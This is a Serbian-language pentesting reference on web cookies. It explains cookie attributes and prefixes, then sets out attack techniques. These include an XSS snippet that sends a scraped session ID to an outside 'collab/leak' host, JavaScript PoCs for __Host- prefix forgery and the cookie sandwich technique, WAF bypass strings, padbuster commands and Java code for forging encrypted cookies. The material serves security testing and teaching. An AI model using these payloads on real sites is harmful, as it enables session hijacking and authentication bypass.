Cookies Hacking

Reading time: 20 minutes

Atributi kolačića

Kolačići dolaze sa više atributa koji kontrolišu njihovo ponašanje u korisnikovom browser-u. Evo pregleda tih atributa u pasivnijem tonu:

Expires and Max-Age

Datum isteka kolačića određuje se atributom Expires. Suprotno tome, atribut Max-age definiše vreme u sekundama dok se kolačić ne obriše. Preferirati Max-age jer odražava modernije prakse.

Domain

Hostove koji će primiti kolačić određuje atribut Domain. Po defaultu, ovo je podešeno na host koji je izdao kolačić, bez uključivanja njegovih subdomena. Međutim, kada se jasno postavi Domain atribut, on obuhvata i subdomene. To čini navođenje Domain atributa manje restriktivnom opcijom, korisnom u scenarijima gde je deljenje kolačića među subdomenima potrebno. Na primer, postavljanje Domain=mozilla.org čini kolačiće dostupnim na njenim subdomenima kao što je developer.mozilla.org.

Path

Atribut Path označava konkretnu URL putanju koja mora biti prisutna u traženom URL-u da bi se poslao Cookie header. Ovaj atribut tretira karakter / kao separator direktorijuma, omogućavajući podudaranja i u poddirektorijumima.

Ordering Rules

Kada dva kolačića imaju isto ime, onaj koji će biti poslat bira se na osnovu:

• Kolačića koji se poklapa sa najdužom putanjom u traženom URL-u.
• Najnovije postavljenog kolačića ako su putanje identične.

SameSite

• Atribut SameSite određuje da li se kolačići šalju u zahtevima koji potiču sa third-party domena. Nudi tri podešavanja:
• Strict: Onemogućava slanje kolačića u third-party zahtevima.
• Lax: Dozvoljava slanje kolačića sa GET zahtevima koje iniciraju third-party sajtovi.
• None: Dozvoljava slanje kolačića sa bilo kog third-party domena.

Zapamtite, razumevanje ovih atributa pri konfigurisaju kolačića pomaže da se osigura da se ponašaju kako se očekuje u različitim scenarijima.

Table from Invicti and slightly modified.
Kolačić sa SameSite atributom će ublažiti CSRF napade u situacijama gde je potrebna ulogovana sesija.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Obratite pažnju da će privremeno, nakon primene ove promene, kolačići bez SameSite politike u Chrome-u biti tretirani kao None tokom prvih 2 minuta, a zatim kao Lax za top-level cross-site POST zahteve.

Zastavice kolačića

HttpOnly

Ovo sprečava da klijent pristupi kolačiću (putem Javascript na primer: document.cookie)

Zaobilaženja

• Ako stranica šalje kolačiće kao odgovor na zahteve (na primer na PHPinfo stranici), moguće je iskoristiti XSS da se pošalje zahtev toj stranici i ukradu kolačići iz odgovora (pogledati primer na https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Ovo se može zaobići pomoću TRACE HTTP zahteva pošto odgovor servera (ako je ova HTTP metoda dostupan) reflektuje poslate kolačiće. Ova tehnika se naziva Cross-Site Tracking.
• Ova tehnika se izbegava u modernim browser-ima tako što se ne dozvoljava slanje TRACE zahteva iz JS. Ipak, pronađeni su određeni bypass-i u specifičnom softveru, poput slanja \r\nTRACE umesto TRACE ka IE6.0 SP2.
• Drugi način je iskorišćavanje zero-day ranjivosti u pregledačima.
• Moguće je prepisati HttpOnly kolačiće izvođenjem Cookie Jar overflow napada:

Cookie Jar Overflow

• Moguće je koristiti Cookie Smuggling attack da se iznesu ovi kolačići
• Ako bilo koji server-side endpoint echo-uje sirovi session ID u HTTP odgovoru (npr. unutar HTML komentara ili debug bloka), možete zaobići HttpOnly koristeći XSS gadget koji će fetch-ovati taj endpoint, regex-ovati taj tajni podatak i izvesti ga. Primer XSS payload obrasca:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Zahtev će samo poslati cookie u HTTP zahtevu ako je zahtev prenesen preko sigurnog kanala (obično HTTPS).

Prefiksi kolačića

Kolačići prefiksirani sa __Secure- moraju biti postavljeni zajedno sa secure flagom sa stranica koje su zaštićene HTTPS-om.

Za kolačiće prefiksirane sa __Host- mora biti ispunjeno nekoliko uslova:

• Moraju biti postavljeni sa secure flagom.
• Moraju poticati sa stranice zaštićene HTTPS-om.
• Zabranjeno im je navođenje domena, čime se sprečava njihovo slanje ka poddomenima.
• Putanja za ove kolačiće mora biti postavljena na /.

Važno je napomenuti da kolačići prefiksirani sa __Host- ne smeju biti poslati ka superdomenima ili poddomenima. Ovo ograničenje pomaže u izolaciji kolačića aplikacije. Stoga, upotreba __Host- prefiksa za sve kolačiće aplikacije može se smatrati dobrom praksom za unapređenje bezbednosti i izolacije.

Overwriting cookies

Dakle, jedna od zaštita __Host- prefiksiranih kolačića je sprečavanje njihovog prepisivanja sa poddomena. To sprečava, na primer, Cookie Tossing attacks. U predavanju Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) prikazano je da je bilo moguće postaviti __HOST- prefiksirane kolačiće sa poddomena tako što se prevari parser, na primer, dodavanjem "=" na početak ili na početak i kraj...:

Ili u PHP-u je bilo moguće dodati druge karaktere na početak imena cookie-ja koji su zatim zamenjeni znakom donje crte, što je omogućavalo prepisivanje __HOST- kolačića:

Unicode whitespace cookie-name smuggling (prefix forgery)

Iskorišćavanje razlika između parsiranja u pregledaču i serveru tako što se na početak imena cookie-ja doda Unicode whitespace kodna tačka. Pregledač neće smatrati da ime doslovno počinje sa __Host-/__Secure-, pa će dozvoliti postavljanje sa poddomena. Ako backend skraćuje/normalizuje vodeće Unicode whitespace u ključevima cookie-ja, on će videti zaštićeno ime i može prepisati visokoprivilegovan cookie.

• PoC from a subdomain that can set parent-domain cookies:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Tipično ponašanje backend-a koje omogućava problem:

• Frameworks that trim/normalize cookie keys. In Django, Python’s str.strip() removes a wide range of Unicode whitespace code points, causing the name to normalize to __Host-name.

• Obično uklonjeni code point-ovi uključuju: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Mnogi frameworks rešavaju duplikate cookie imena kao “last wins”, tako da attacker-controlled normalizovana cookie vrednost pregazi legitimnu.

• Razlike među browser-ima su važne:

• Safari blocks multibyte Unicode whitespace in cookie names (e.g., rejects U+2000) but still permits single-byte U+0085 and U+00A0, which many backends trim. Cross-test across browsers.

• Uticaj: Omogućava prepisivanje __Host-/__Secure- cookie-ja iz manje-pouzdatih konteksta (subdomeni), što može dovesti do XSS (if reflected), CSRF token override, i session fixation.

• Primer on-the-wire vs prikaz servera (U+2000 prisutan u imenu):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Mnogi backendi dele/parsiraju, pa zatim trimuju, što dovodi do toga da normalizovani __Host-name preuzme vrednost napadača.

Legacy $Version=1 cookie splitting on Java backends (prefix bypass)

Neki Java stackovi (npr. Tomcat/Jetty-style) i dalje omogućavaju zastarelo RFC 2109/2965 parsiranje kada Cookie header počinje sa $Version=1. To može navesti server da ponovo protumači jedan cookie string kao više logičkih cookies i prihvati falsifikovan __Host- unos koji je izvorno postavljen sa poddomena ili čak preko nesigurnog origin-a.

• PoC koji primorava zastarelo parsiranje:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Zašto funkcioniše:

• Provere prefiksa na strani klijenta važe pri setovanju, ali server-side legacy parsing kasnije deli i normalizuje header, zaobilazeći nameru garancija prefiksa __Host-/__Secure-.

• Gde pokušati: Tomcat, Jetty, Undertow, ili framework-ovi koji i dalje poštuju RFC 2109/2965 atributе. Kombinujte sa duplicate-name overwrite semantikom.

Duplicate-name last-wins overwrite primitive

Kada se dve cookie vrednosti normalizuju u isto ime, mnogi backendi (uključujući Django) koriste poslednju pojavu. Nakon što smuggling/legacy-splitting proizvede dva __Host-* imena, onaj koji kontroliše napadač će obično pobediti.

Detection and tooling

Koristite Burp Suite da testirate ove uslove:

• Probajte više vodećih Unicode whitespace code point-ova: U+2000, U+0085, U+00A0 i posmatrajte da li backend trimuje i tretira ime kao prefiksirano.
• Pošaljite $Version=1 prvo u Cookie header i proverite da li backend radi legacy splitting/normalization.
• Posmatrajte rešavanje duplicate-name (first vs last wins) tako što ćete ubaciti dve cookie koje se normalizuju u isto ime.
• Burp Custom Action za automatizaciju: CookiePrefixBypass.bambda

Tip: Ove tehnike iskorišćavaju RFC 6265’s octet-vs-string gap: browsers šalju bytes; servers dekodiraju i mogu normalizovati/trimovati. Neusklađenosti u dekodiranju i normalizaciji su srž ovog bypass-a.

Cookies Attacks

Ako custom cookie sadrži osetljive podatke, proverite ga (posebno ako igrate CTF), jer može biti ranjiv.

Decoding and Manipulating Cookies

Osetljivi podaci ugrađeni u cookies-u uvek treba da se pregledaju. Cookies enkodovani u Base64 ili sličnim formatima često se mogu dekodirati. Ova ranjivost omogućava napadačima da izmeni sadržaj cookie-ja i preuzmu identitet drugih korisnika tako što će enkodovati njihove izmenjene podatke nazad u cookie.

Session Hijacking

Ovaj napad podrazumeva krađu korisnikovog cookie-ja kako bi se dobio neautorizovan pristup njihovom nalogu u aplikaciji. Korišćenjem ukradenog cookie-ja, napadač može da se pravi da je legitimni korisnik.

Session Fixation

U ovom scenariju, napadač prevari žrtvu da koristi određeni cookie pri prijavi. Ako aplikacija ne dodeli novi cookie pri loginu, napadač koji poseduje originalni cookie može da se predstavlja kao žrtva. Ova tehnika zavisi od toga da žrtva prijavi koristeći cookie koji je napadač obezbedio.

Ako ste pronašli XSS in a subdomain ili kontrolišete poddomen, pročitajte:

Cookie Tossing

Session Donation

Ovde napadač ubedi žrtvu da koristi napadačev session cookie. Žrtva, verujući da je prijavljena na svoj nalog, nenamerno će izvršavati akcije u kontekstu napadačevog naloga.

Ako ste pronašli XSS in a subdomain ili kontrolišete poddomen, pročitajte:

Cookie Tossing

JWT Cookies

Kliknite na prethodni link da pristupite stranici koja objašnjava moguće propuste u JWT.

JSON Web Tokens (JWT) koji se koriste u cookies takođe mogu predstavljati ranjivosti. Za detaljnije informacije o potencijalnim slabostima i kako ih iskoristiti, preporučuje se pristup povezanom dokumentu o hacking JWT.

Cross-Site Request Forgery (CSRF)

Ovaj napad prisiljava prijavljenog korisnika da izvrši neželjene akcije na web aplikaciji u kojoj je trenutno autentifikovan. Napadači mogu iskoristiti cookies koji se automatski šalju sa svakim zahtevom na ranjivom sajtu.

Empty Cookies

(Proverite dalje detalje uoriginal research) Browsers dopuštaju kreiranje cookies bez imena, što se može demonstrirati kroz JavaScript na sledeći način:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Rezultat u poslatom cookie headeru je a=v1; test value; b=v2;. Zanimljivo, ovo omogućava manipulaciju cookie-ovima ako se postavi cookie sa praznim imenom, potencijalno kontrolišući druge cookie-e postavljanjem praznog cookie-a na određenu vrednost:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Ovo dovodi do toga da pregledač pošalje cookie header koji svaki web server tumači kao cookie nazvan a sa vrednošću b.

Chrome greška: Problem sa Unicode surrogate codepoint-om

U Chromeu, ako Unicode surrogate codepoint bude deo set cookie, document.cookie postaje oštećen i nakon toga vraća prazan string:

document.cookie = "\ud800=meep"

To dovodi do toga da document.cookie vraća prazan string, što ukazuje na trajno oštećenje.

Cookie Smuggling Due to Parsing Issues

(Pogledajte dalje detalje u original research) Nekoliko web servera, uključujući one za Java (Jetty, TomCat, Undertow) i Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), nepravilno obrađuju cookie stringove zbog zastarele podrške za RFC2965. Oni čitaju double-quoted cookie value kao jednu vrednost čak i ako sadrži semicolons, koji bi normalno trebalo da razdvajaju key-value pairs:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Neispravno parsiranje cookie-ja od strane servera, naročito Undertow, Zope i onih koji koriste Python-ove http.cookie.SimpleCookie i http.cookie.BaseCookie, stvara mogućnosti za cookie injection napade. Ovi serveri ne uspevaju pravilno da odrede početak novog cookie-ja, što napadačima omogućava da lažiraju cookie-je:

• Undertow očekuje novi cookie odmah posle quoted vrednosti bez tačke-zareza.
• Zope traži zarez da započne parsiranje sledećeg cookie-ja.
• Python-ove cookie klase počinju parsiranje na karakteru razmaka.

Ova ranjivost je posebno opasna u web aplikacijama koje se oslanjaju na cookie-based CSRF protection, jer omogućava napadačima da injektuju spoofed CSRF-token cookie-je i potencijalno zaobiđu bezbednosne mere. Problem je pogoršan Python-ovim postupanjem sa duplikatima imena cookie-ja, gde poslednja pojava prepisuje ranije. Takođe izaziva zabrinutost za __Secure- i __Host- cookie-je u nesigurnim kontekstima i može dovesti do zaobilaženja autorizacije kada se cookie-ji prosleđuju back-end serverima podložnim spoofingu.

Cookies $version

WAF Bypass

According to this blogpost, moguće je koristiti atribut cookie-ja $Version=1 da bi backend upotrebio stariju logiku za parsiranje cookie-ja zbog RFC2109. Štaviše, druge vrednosti kao $Domain i $Path mogu se koristiti za modifikovanje ponašanja backenda u vezi sa cookie-jem.

Cookie Sandwich Attack

According to this blogpost moguće je iskoristiti cookie sandwich technique da se ukradu HttpOnly cookie-ji. Ovo su zahtevi i koraci:

• Pronađi mesto gde se naizgled beskoristan cookie is refected in the response
• Create a cookie called $Version sa vrednošću 1 (možeš to učiniti u XSS napadu iz JS) sa specifičnijim path-om tako da zauzme početnu poziciju (neki framework-i kao python ne zahtevaju ovaj korak)
• Create the cookie that is reflected sa vrednošću koja ostavlja open double quotes i sa specifičnim path-om tako da bude pozicioniran u cookie db nakon prethodnog ($Version)
• Zatim će legit cookie ići sledeći u redosledu
• Create a dummy cookie that closes the double quotse unutar svoje vrednosti

Na ovaj način žrtvin cookie biva zarobljen unutar novog cookie-ja version 1 i biće reflektovan kad god se reflektuje. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Pogledajte prethodni odeljak.

Bypassing value analysis with quoted-string encoding

Ovo parsiranje označava da se oslobađaju escape-ovane vrednosti unutar cookie-ja, tako da "\a" postaje "a". Ovo može biti korisno za zaobilaženje WAFS-a kao:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

U RFC2109 je navedeno da se zarez može koristiti kao separator između cookie vrednosti. Takođe je moguće dodati razmake i tabove pre i posle znaka jednakosti. Dakle, cookie kao $Version=1; foo=bar, abc = qux ne generiše cookie "foo":"bar, admin = qux" već cookie-je foo":"bar" i "admin":"qux". Primetite kako se generišu 2 cookie-ja i kako je za admin uklonjen razmak pre i posle znaka jednakosti.

Bypassing value analysis with cookie splitting

Na kraju, različiti backdoors bi spojili u jedan string različite cookie-je prosleđene u različitim cookie header-ima, kao u:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Što bi moglo omogućiti bypass WAF-a kao u ovom primeru:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Dodatne provere ranjivih Cookies

Osnovne provere

• cookie je isti svaki put kada se login.
• Log out i pokušajte da koristite istu cookie.
• Pokušajte da se log in-ujete sa 2 uređaja (ili browser-a) na isti nalog koristeći istu cookie.
• Proverite da li cookie sadrži neke informacije i pokušajte da ih izmenite
• Pokušajte da kreirate nekoliko naloga sa skoro istim username-ima i proverite da li možete da uočite sličnosti.
• Proverite opciju "remember me" ako postoji da vidite kako radi. Ako postoji i može biti ranjiva, uvek koristite cookie od remember me bez drugih cookie-ja.
• Proverite da li prethodni cookie radi čak i nakon promene lozinke.

Napredni napadi na cookies

Ako cookie ostane isti (ili skoro) kada se log in-ujete, to verovatno znači da je cookie povezan sa nekim poljem vašeg naloga (verovatno username). Tada možete:

• Pokušajte da kreirate mnogo naloga sa username-ima veoma sličnim i pokušajte da pogodite kako algoritam radi.
• Pokušajte da bruteforce the username. Ako cookie služi samo kao metod autentikacije za vaš username, onda možete da napravite nalog sa username-om "Bmin" i bruteforce svaki pojedinačni bit vašeg cookie-ja jer će jedan od cookie-ja koje isprobavate biti onaj koji pripada "admin".
• Pokušajte Padding Oracle (možete dekriptovati sadržaj cookie-ja). Koristite padbuster.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster će izvršiti nekoliko pokušaja i pitaće vas koji uslov predstavlja grešku (onaj koji nije validan).

Zatim će početi dešifrovanje cookie-ja (može potrajati nekoliko minuta)

Ako je napad uspešno izveden, onda možete pokušati da encrypt niz po vašem izboru. Na primer, ako biste želeli encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Ovo izvršavanje će ti dati cookie pravilno enkriptovan i enkodovan sa stringom user=administrator unutra.

CBC-MAC

Možda cookie ima neku vrednost i može biti potpisan korišćenjem CBC. Tada je integritet vrednosti potpis kreiran korišćenjem CBC nad tom istom vrednošću. Pošto se preporučuje da se kao IV koristi null vector, ovaj tip provere integriteta može biti ranjiv.

Napad

1. Nabavi potpis za korisničko ime administ = t
2. Nabavi potpis za korisničko ime rator\x00\x00\x00 XOR t = t'
3. Postavi u cookie vrednost administrator+t' (t' će biti validan potpis za (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)

ECB

Ako je cookie enkriptovan korišćenjem ECB može biti ranjiv.
Kada se uloguješ, cookie koji primiš će uvek biti isti.

Kako otkriti i napasti:

• Kreiraj 2 korisnika sa skoro istim podacima (username, password, email, itd.) i pokušaj da otkriješ neki obrazac u dobijenom cookie-ju
• Kreiraj korisnika npr. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i proveri da li postoji neki obrazac u cookie-ju (pošto ECB enkriptuje svaki blok istim ključem, iste enkriptovane bajtove mogu se pojaviti ako je username enkriptovan).

Trebao bi postojati obrazac (veličine korišćenog bloka). Dakle, znajući kako se gomila "a" enkriptuje, možeš napraviti username: "a"*(veličina bloka)+"admin". Zatim možeš obrisati enkriptovani obrazac bloka "a" iz cookie-ja. I dobićeš cookie za korisničko ime "admin".

Static-key cookie forgery (symmetric encryption of predictable IDs)

Neke aplikacije kreiraju authentication cookies tako što enkriptuju samo predvidivu vrednost (npr. numerički user ID) pod globalnim, hard-coded simetričnim ključem, a zatim enkoduju ciphertext (hex/base64). Ako je ključ statičan po proizvodu (ili po instalaciji), bilo ko može offline da falsifikuje cookie-je za proizvoljne korisnike i zaobiđe authentication.

How to test/forge

• Identifikuj cookie(e) koji ograničavaju auth, npr. COOKIEID i ADMINCOOKIEID.
• Odredi cipher/encoding. U jednom realnom slučaju app je koristio IDEA sa konstantnim 16-bajtnim ključem i vratio ciphertext kao hex.
• Proveri tako što ćeš enkriptovati sopstveni user ID i uporediti sa izdatim cookie-jem. Ako se slaže, možeš kreirati cookie-je za bilo koji target ID (1 često odgovara prvom adminu).
• Postavi falsifikovanu vrednost direktno kao cookie i surfuj; nisu potrebne kredencijale.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Reference

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda